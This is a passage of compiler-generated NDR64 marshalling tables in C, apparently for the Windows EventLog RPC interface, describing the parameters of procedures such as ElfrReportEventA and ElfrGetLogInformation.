*/\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag221_t __midl_frag221 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag222\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag220_t __midl_frag220 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag221\n};\n\nstatic const __midl_frag219_t __midl_frag219 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag218_t __midl_frag218 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag218\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag219\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag217\n};\n\nstatic const __midl_frag215_t __midl_frag215 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag214_t __midl_frag214 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag212_t __midl_frag212 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag210_t __midl_frag210 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag209_t __midl_frag209 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag205_t __midl_frag205 =\n{ \n/* ElfrReportEventAndSourceW */\n    { \n    /* ElfrReportEventAndSourceW */      /* procedure ElfrReportEventAndSourceW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 128 /* 0x80 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 16 /* 0x10 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag210,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag209,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag209,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag210,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* SourceName */      /* parameter SourceName */\n        &__midl_frag5,\n        { \n        /* SourceName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag212,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag213,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag215,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag216,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag220,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag257,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag227,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag227,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        120 /* 0x78 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag204_t __midl_frag204 =\n{ \n/* Opnum23NotUsedOnWire */\n    { \n    /* Opnum23NotUsedOnWire */      /* procedure Opnum23NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag201_t __midl_frag201 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag258\n};\n\nstatic const __midl_frag200_t __midl_frag200 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 1024 /* 0x400 */\n};\n\nstatic const __midl_frag198_t __midl_frag198 =\n{ \n/*  */\n    (NDR64_UINT32) 4 /* 0x4 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 1024 /* 0x400 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag197_t __midl_frag197 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag198\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag196_t __midl_frag196 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag197\n};\n\nstatic const __midl_frag193_t __midl_frag193 =\n{ \n/* ElfrGetLogInformation */\n    { \n    /* ElfrGetLogInformation */      /* procedure ElfrGetLogInformation */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoLevel */      /* parameter InfoLevel */\n        &__midl_frag210,\n        { \n        /* InfoLevel */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpBuffer */      /* parameter lpBuffer */\n        &__midl_frag197,\n        { \n        /* lpBuffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBufSize */      /* parameter cbBufSize */\n        &__midl_frag200,\n        { \n        /* cbBufSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbBytesNeeded */      /* parameter pcbBytesNeeded */\n        &__midl_frag258,\n        { \n        /* pcbBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag182_t __midl_frag182 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 61440 /* 0xf000 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag181_t __midl_frag181 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag182\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag180_t __midl_frag180 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag181\n};\n\nstatic const __midl_frag179_t __midl_frag179 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag178_t __midl_frag178 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 256 /* 0x100 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag177_t __midl_frag177 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag178\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag113\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag179\n    }\n};\n\nstatic const __midl_frag176_t __midl_frag176 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag177\n};\n\nstatic const __midl_frag174_t __midl_frag174 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag166_t __midl_frag166 =\n{ \n/* ElfrReportEventA */\n    { \n    /* ElfrReportEventA */      /* procedure ElfrReportEventA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 120 /* 0x78 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 15 /* 0xf */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag210,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag209,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag209,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag210,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag212,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag213,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag113,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n 